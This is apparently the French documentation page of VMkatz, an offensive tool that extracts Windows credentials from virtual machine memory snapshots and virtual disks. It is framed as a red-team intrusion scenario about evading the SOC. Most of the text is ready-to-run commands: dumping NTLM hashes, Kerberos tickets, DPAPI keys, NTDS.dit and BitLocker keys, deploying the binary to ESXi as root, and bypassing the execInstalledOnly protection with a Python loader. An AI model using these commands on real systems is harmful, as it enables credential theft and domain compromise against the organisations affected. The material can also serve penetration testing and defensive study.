
Extraire les identifiants Windows directement depuis les instantanés de mémoire de machines virtuelles et les disques virtuels
Vous êtes en pleine mission d’équipe rouge depuis trois semaines. Votre trafic rampe à travers un VPN, puis rebondit sur quatre proxies SOCKS enchaînés via des jump boxes compromises avant d’atteindre le réseau cible. Chaque paquet emprunte l’itinéraire touristique.
Après des jours de mouvement latéral, vous atterrissez sur un NAS connecté au cluster de virtualisation et la liste des répertoires frappe fort : des rangées entières de .vmdk, .vmsn, .sav. Des centaines de gigaoctets de machines virtuelles – contrôleurs de domaine, postes d’administration, les joyaux de la couronne – juste là, à portée.
Mais votre liaison souffre à 200 Ko/s. Tirer une seule image disque de 100 Go prendrait six jours, et chaque heure d’exfiltration soutenue est une chance de plus pour le SOC de repérer l’anomalie, de brûler votre tunnel, et toute la chaîne s’effondre.
VMkatz existe parce que vous ne devriez pas avoir à exfiltrer ce que vous pouvez lire sur place. Il extrait les secrets Windows – hachages NTLM, clés maîtres DPAPI, tickets Kerberos, identifiants de domaine mis en cache, secrets LSA, NTDS.dit, clés BitLocker – directement depuis les instantanés mémoire des VM et les disques virtuels, sur le NAS, l’hyperviseur, là où se trouvent les fichiers VM.
Un seul binaire statique, ~3 Mo. Déposez-le sur l’hôte ESXi, le nœud Proxmox ou le NAS. Pointez-le sur un .vmsn, un .vmdk ou un dossier de VM complet. Repartez avec des identifiants, pas des images disque.
Les 9 fournisseurs SSP que mimikatz implémente :
Plus : Extraction FVEK BitLocker depuis la mémoire (balayage de tag de pool pour FVEc/Cngb).
$DPAPImk$ — modes 15300/15310/15900/15910)OS cible : Windows Server 2003 à Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Lorsque la protection VIB (execInstalledOnly) est activée, utilisez le chargeur Python – pas besoin de désactiver le paramètre :
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Voir docs/esxi.md pour les détails du contournement VIB, l’accès aux périphériques bruts VMFS et la découverte automatique.
VMkatz est modulaire. Les fonctionnalités peuvent être activées/désactivées à la compilation :
cargo build --release # Build complet
cargo build --release --no-default-features --features vmware # VMware uniquement
cargo build --release --no-default-features --features "sam ntds.dit" # Disque uniquement
| Fournisseur | Données | Notes |
|---|
| MSV1_0 | Hachages NT/LM, SHA1 | Repli par balayage physique pour les entrées paginées |
| WDigest | Mots de passe en clair | Parcours de liste chaînée + repli .data |
| Kerberos | Clés AES/RC4/DES, tickets (.kirbi/.ccache) | Parcours d’arbre AVL + découpage de tickets pour sessions libérées |
| TsPkg | Mots de passe en clair | Sessions RDP uniquement |
| DPAPI | Cache de clé maîtresse (GUID + clé déchiffrée) | SHA1 masterkey pour déchiffrement DPAPI hors ligne |
| SSP | Identifiants en clair | SspCredentialList dans msv1_0.dll |
| LiveSSP | Identifiants en clair | Nécessite livessp.dll (rare après Win8) |
| Credman | Identifiants stockés | Énumération par table de hachage + liste simple |
| CloudAP | Jetons Azure AD | Généralement vide pour une connexion locale uniquement |
| Format | Extensions | Source | Statut |
|---|
| Instantanés VMware | .vmsn + .vmem | Workstation, ESXi | Testé |
| Instantanés VMware intégrés | .vmsn (sans .vmem) | Suspend ESXi | Testé |
| États sauvegardés VirtualBox | .sav | VirtualBox | Testé |
| États savevm QEMU/KVM | détection automatique | Proxmox, QEMU | Testé |
| Core dumps ELF QEMU/KVM | .elf | virsh dump | Testé |
| États sauvegardés Hyper-V | .vmrs | Hyper-V 2016+ | Non testé |
| Disques virtuels VMware | .vmdk (sparse + flat) | Workstation, ESXi | Testé |
| Disques virtuels VirtualBox | .vdi | VirtualBox | Testé |
| Disques virtuels QEMU/KVM | .qcow2 | QEMU, Proxmox | Testé |
| Disques virtuels Hyper-V | .vhdx, .vhd | Hyper-V | Testé |
| Périphériques SCSI bruts VMFS-5/6 | /dev/disks/... | ESXi (contourne les verrous de fichiers) | Testé |
| Périphériques blocs LVM | /dev/... | LVM-thin Proxmox | Testé |
| Ruches de registre brutes | SAM, SYSTEM, SECURITY | reg save | Testé |
| NTDS.dit brut | ntds.dit + SYSTEM | Contrôleur de domaine | Testé |
| Minidump LSASS | .dmp | procdump, Gestionnaire de tâches | Testé |
| Répertoires VM | n’importe quel dossier | Découverte automatique de tous les fichiers | Testé |
| Format | Option | Description |
|---|
text | --format text (par défaut) | Dump complet des identifiants avec métadonnées de session |
brief | --format brief | Résumé compact, une ligne par identifiant |
ntlm | --format ntlm | Format pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Hachages bruts : mode 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Lisible machine, tous les champs |
| Fonctionnalité | Description | Par défaut |
|---|
vmware | Support des instantanés VMware .vmsn/.vmem | Oui |
vbox | Support des états sauvegardés VirtualBox .sav | Oui |
qemu | Core dumps ELF QEMU/KVM + savevm Proxmox | Oui |
hyperv | Support des dumps Hyper-V .vmrs/.bin/.raw | Oui |
sam | Extraction disque (SAM/LSA/DCC2) + gestionnaires de format disque | Oui |
ntds.dit | Extraction AD NTDS.dit. Nécessite sam | Oui |
carve | Extraction dégradée depuis une mémoire partielle/tronquée | Oui |
dump | Dump de la mémoire du processus en minidump | Oui |
vmfs | Analyseur brut VMFS-5/6 pour périphériques SCSI ESXi. Nécessite sam | Oui |